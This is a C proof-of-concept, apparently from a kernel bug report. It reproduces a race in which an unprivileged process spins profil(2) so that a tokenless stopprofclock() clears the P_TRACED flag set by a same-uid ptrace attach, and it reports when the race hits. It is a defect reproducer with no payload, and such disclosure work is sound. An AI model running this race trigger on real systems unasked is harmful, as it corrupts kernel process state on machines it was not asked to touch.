DF-2980 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 | /* * DF-2980 — tokenless stopprofclock() in addupc_task(): non-atomic * p->p_flags RMW race. * * Mechanism under test: * - addupc_task() (sys/kern/subr_prof.c:145) calls stopprofclock(p) * WITHOUT holding p->p_token, violating the documented contract * (sys/kern/kern_clock.c:1303-1305 "caller must hold p->p_token"). * stopprofclock() does a non-atomic `p->p_flags &= ~P_PROFIL` * (kern_clock.c:1310). * - userret() (platform/pc64/x86_64/trap.c:225-232) calls addupc_task() * on EVERY syscall exit of a P_PROFIL process, so a thread that keeps * re-arming profil(2) with an unmapped sample buffer generates * tokenless p_flags RMWs at syscall rate (MHz). * - Meanwhile PT_ATTACH does `p->p_flags |= P_TRACED` WITH p_token held * (sys/kern/sys_process.c:305). If the attach's store lands inside the * tokenless clear's load-to-store gap, the stale store annihilates the * P_TRACED set. * - Detection (false-positive free): after a SUCCESSFUL PT_ATTACH and * the resulting stop, PT_DETACH checks (p->p_flags & P_TRACED) == 0 * and returns EPERM (sys/kern/sys_process.c:268-271). P_TRACED can * only be cleared by PT_DETACH/PT_KILL/exit (sys_process.c:353), none * of which ran => the set was lost in the race. * * Victim side is 100% unprivileged (self-profiling + a parent of the same * uid using ptrace(2)). */ #include <sys/types.h> #include <sys/ptrace.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/sysctl.h> #include <sys/user.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <pthread.h> /* sys/sys/proc.h (kernel-internal values, hardcoded for the PoC) */ #define KP_PROFIL 0x00020 #define KP_TRACED 0x00800 #define PROF_BASE 0x400000000000UL /* unmapped user VA region */ #define PROF_SIZE 0x100000000UL /* 4 GiB window */ #define PROF_OFFSET 0 #define PROF_SCALE 0x10000 /* 1.0 */ static volatile int stop_now; static void * spinner(void *arg __unused) { /* second thread: more profil() churn => p_flags cache line ping-pong */ while (!stop_now) syscall(SYS_profil, (void *)PROF_BASE, PROF_SIZE, PROF_OFFSET, PROF_SCALE); return (NULL); } static void dump_kp_flags(const char *tag, pid_t pid) { int mib[4]; size_t len; struct kinfo_proc kp; mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PID; mib[3] = (int)pid; len = sizeof(kp); memset(&kp, 0, sizeof(kp)); if (sysctl(mib, 4, &kp, &len, NULL, 0) == 0 && len > 0) printf("[%s] kp_stat = %d kp_flags = 0x%08x " "(P_TRACED=0x%x P_WAITED=0x1000 P_PROFIL=0x%x)\n", tag, kp.kp_stat, kp.kp_flags, KP_TRACED, KP_PROFIL); else printf("[%s] sysctl kinfo_proc failed: %s\n", tag, strerror(errno)); } int main(int argc, char **argv) { pid_t pid; pthread_t th; long cycles = 0, maxcycles = 200000; int last_detach_ok = 0; setvbuf(stdout, NULL, _IONBF, 0); if (argc > 1) maxcycles = atol(argv[1]); pid = fork(); if (pid == 0) { /* * Victim: every profil() call arms profiling (token-held * `p->p_flags |= P_PROFIL`, kern_clock.c:1290), and every * syscall exit runs userret()->addupc_task() whose copyin() * on the unmapped base faults, producing the tokenless * `p->p_flags &= ~P_PROFIL` (subr_prof.c:145 -> * kern_clock.c:1310). */ pthread_create(&th, NULL, spinner, NULL); for (;;) syscall(SYS_profil, (void *)PROF_BASE, PROF_SIZE, PROF_OFFSET, PROF_SCALE); _exit(0); } usleep(100000); /* let the victim spin up */ /* * Tracer (same uid, unprivileged): hammer the token-held * `p->p_flags |= P_TRACED` (PT_ATTACH) into that tokenless RMW * stream, then verify the bit actually stuck via PT_DETACH. * * HIT1: PT_DETACH returns EPERM after a successful PT_ATTACH and * observed stop => the |= P_TRACED set was annihilated by a * stale tokenless `p->p_flags &= ~P_PROFIL` store. * HIT2: PT_ATTACH returns EBUSY right after a successful PT_DETACH * => the detach's `&= ~(P_TRACED|P_WAITED)` clear was * annihilated and P_TRACED survived (same race, other arm). */ for (;;) { int st, r, tries; tries = 0; errno = 0; while ((r = ptrace(PT_ATTACH, pid, NULL, 0)) < 0 && errno == EBUSY && tries++ < 3) { if (last_detach_ok) { printf("RACE HIT (arm 2) after %ld cycles: " "PT_ATTACH EBUSY => PT_DETACH's P_TRACED " "clear annihilated by tokenless " "stopprofclock() RMW\n", cycles); dump_kp_flags("hit", pid); kill(pid, SIGKILL); waitpid(pid, &st, 0); return (0); } usleep(20000); } if (r < 0) { if (errno == ESRCH) break; /* child gone */ perror("PT_ATTACH"); break; } if (waitpid(pid, &st, WUNTRACED) != pid) { perror("waitpid"); break; } tries = 0; for (;;) { errno = 0; r = ptrace(PT_DETACH, pid, (caddr_t)1, 0); if (r == 0) break; if (errno == EPERM) { printf("RACE HIT after %ld attach/detach " "cycles: PT_DETACH returned EPERM => " "P_TRACED set annihilated by tokenless " "stopprofclock() RMW\n", cycles); dump_kp_flags("hit", pid); kill(pid, SIGKILL); waitpid(pid, &st, 0); return (0); } if (errno != EBUSY || tries++ >= 25) { perror("PT_DETACH"); dump_kp_flags("detach-ebusy", pid); kill(pid, SIGKILL); waitpid(pid, &st, 0); return (1); } /* * Multi-threaded victim artifact: a straggler * thread's tstop() re-clears P_WAITED after our * waitpid consumed the stop. That late tstop also * posts another reportable stop event, so a WNOHANG * waitpid re-consumes it and re-sets P_WAITED. */ usleep(2000); waitpid(pid, &st, WNOHANG | WUNTRACED); } last_detach_ok = 1; if (++cycles >= maxcycles) { printf("no hit in %ld cycles\n", cycles); kill(pid, SIGKILL); waitpid(pid, &st, 0); return (2); } if (cycles % 20000 == 0) printf("... %ld cycles, no hit yet\n", cycles); } return (1); } |